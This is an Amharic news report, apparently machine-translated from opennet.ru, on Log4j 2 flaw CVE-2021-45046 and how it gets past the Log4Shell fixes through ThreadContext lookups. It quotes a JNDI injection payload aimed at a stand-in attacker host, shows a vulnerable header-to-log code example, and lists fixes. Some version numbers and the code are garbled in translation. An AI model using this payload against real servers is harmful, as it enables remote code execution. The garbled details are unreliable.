የተጨመረውን ጥበቃ እንዲያልፉ የሚያስችል አዲስ የጥቃት አማራጭ ለ Log4j 2

በ Log4j 2 ቤተ-መጽሐፍት (CVE-2021-45046) ውስጥ የJNDI ፍለጋዎችን በመተግበር ላይ ሌላ ተጋላጭነት ተለይቷል፣ ይህም በተለቀቀው 2.15 ላይ የተጨመሩት ጥገናዎች ቢኖሩም እና የ"log4j2.noFormatMsgLookup" ለጥበቃ መቼት ቢጠቀሙም ይታያል። ችግሩ በዋነኝነት አደገኛ የሆነው የ “noFormatMsgLookup” ባንዲራ በመጠቀም የተጠበቀው ለቆዩ የLog4j 2 ስሪቶች ነው ፣ይህም ካለፉት ተጋላጭነቶች (Log4Shell ፣ CVE-2021-44228) ጥበቃን ማለፍ ስለሚያስችል ኮድዎን በ አገልጋይ. ለሥሪት 2.15 ተጠቃሚዎች ብዝበዛ የተገደበው ባገኙት ሀብቶች በመሟጠጥ አፕሊኬሽኑ እንዲበላሽ ለማድረግ ነው።

ተጋላጭነቱ የሚታየው እንደ ${ctx:loginId}፣ ወይም MDC አብነቶች (Thread Context Map)፣ እንደ %X፣ %mdc እና %MDC ባሉ የኮንቴክስት ፍለጋን በሚጠቀሙ ስርዓቶች ላይ ብቻ ነው። አፕሊኬሽኑ የአውድ መጠይቆችን ወይም የMDC አብነቶችን በመጠቀም በምዝግብ ማስታወሻው ላይ የJNDI ተተኪዎችን የያዘ ውሂብ ለማውጣት ሁኔታዎችን ለመፍጠር ይወርዳል።

የሉናሴክ ተመራማሪዎች ከ 4 በታች ለሆኑ የLog2.15j ስሪቶች ይህ ተጋላጭነት ለ Log4Shell ጥቃት እንደ አዲስ ቬክተር ሊያገለግል ይችላል ፣ ይህም ወደ ኮድ አፈፃፀም ይመራል ፣ ምንም እንኳን ውጫዊ ውሂብን ያካተቱ የ ThreadContext መግለጫዎች በምዝግብ ማስታወሻው ውስጥ ጥቅም ላይ ከዋሉ "መከላከያ" ጥቆማ ነቅቷል noMsgFormatLookups ወይም አብነት "%m{nolookups}"።

የተጨመረውን ጥበቃ እንዲያልፉ የሚያስችል አዲስ የጥቃት አማራጭ ለ Log4j 2

ጥበቃውን ማለፍ የሚመጣው በ«${jndi:ldap://attacker.com/a}» በቀጥታ ከመተካት ይልቅ፣ ይህ አገላለጽ የምዝግብ ማስታወሻ ውፅዓት ለመቅረጽ በደንቦቹ ውስጥ ጥቅም ላይ በሚውለው መካከለኛ ተለዋዋጭ እሴት በመተካቱ ላይ ነው። . ለምሳሌ፣ የአውድ መጠይቁ ${ctx:apiversion} ወደ ሎግ በሚወጣበት ጊዜ ጥቅም ላይ የሚውል ከሆነ ጥቃቱን "${jndi:ldap://attacker.com/a}" ውሂቡን በመተካት ሊፈጸም ይችላል. ወደ apiversion ተለዋዋጭ የተጻፈ እሴት. የተጋላጭ ኮድ ምሳሌ፡ appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") የህዝብ ሕብረቁምፊ መረጃ ጠቋሚ(@RequestHeader("X-Api-version") ሕብረቁምፊ apiVersion) {// የ"X-Api-ስሪት" HTTP ራስጌ እሴቱ ወደ ThreadContext ThreadContext.put("apiversion) ተላልፏል። ", apiVersion); // ወደ ምዝግብ ማስታወሻው በሚወጣበት ጊዜ የውጫዊው የመክፈቻ ዋጋ በ ${ctx:apiversion} logger.info ("የኤፒአይ ስሪት ጥያቄ ተቀብሏል") በመጠቀም ይከናወናል። ተመለስ "ሰላም, ዓለም!"; }

በ Log4j ስሪት 2.15 ተጋላጭነቱ እሴቶችን ወደ ThreadContext ሲያስተላልፍ የ DoS ጥቃቶችን ለመፈጸም ጥቅም ላይ ሊውል ይችላል፣ ይህም የውጤት ቅርጸት አብነት ሂደት ሂደት ላይ ለውጥ ያመጣል።

የተጨመረውን ጥበቃ እንዲያልፉ የሚያስችል አዲስ የጥቃት አማራጭ ለ Log4j 2

ተጋላጭነቱን ለማገድ፣ ዝማኔዎች 2.16 እና 2.12.2 ታትመዋል። በLog4j 2.16 ቅርንጫፍ ውስጥ፣ በስሪት 2.15 ውስጥ ከተተገበሩት ጥገናዎች እና የJNDI LDAP ጥያቄዎች "localhost" ጋር ከማያያዝ በተጨማሪ የJNDI ተግባር በነባሪነት ሙሉ በሙሉ ተሰናክሏል እና የመልእክት መተኪያ አብነቶች ድጋፍ ተወግዷል። እንደ ደኅንነት ጥበቃ፣ JndiLookup ክፍልን ከክፍል ዱካ (ለምሳሌ “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”) እንዲያስወግድ ይመከራል። .

በጥቅሎች ውስጥ የጥገናዎችን ገጽታ በስርጭት ገጾች (ዴቢያን ፣ ኡቡንቱ ፣ RHEL ፣ SUSE ፣ Fedora ፣ Arch) እና ጃቫ የመሳሪያ ስርዓት አምራቾች (GitHub ፣ Docker ፣ Oracle ፣ vmWare ፣ Broadcom እና Amazon/AWS ፣ Juniper ፣ VMware) መከታተል ይችላሉ። Cisco፣ IBM፣ Red Hat፣ MongoDB፣ Okta፣ SolarWinds፣ Symantec፣ McAfee፣ SonicWall፣ FortiGuard፣ Ubiquiti፣ F-Secure፣ ወዘተ)።

ምንጭ: opennet.ru

አስተያየት ያክሉ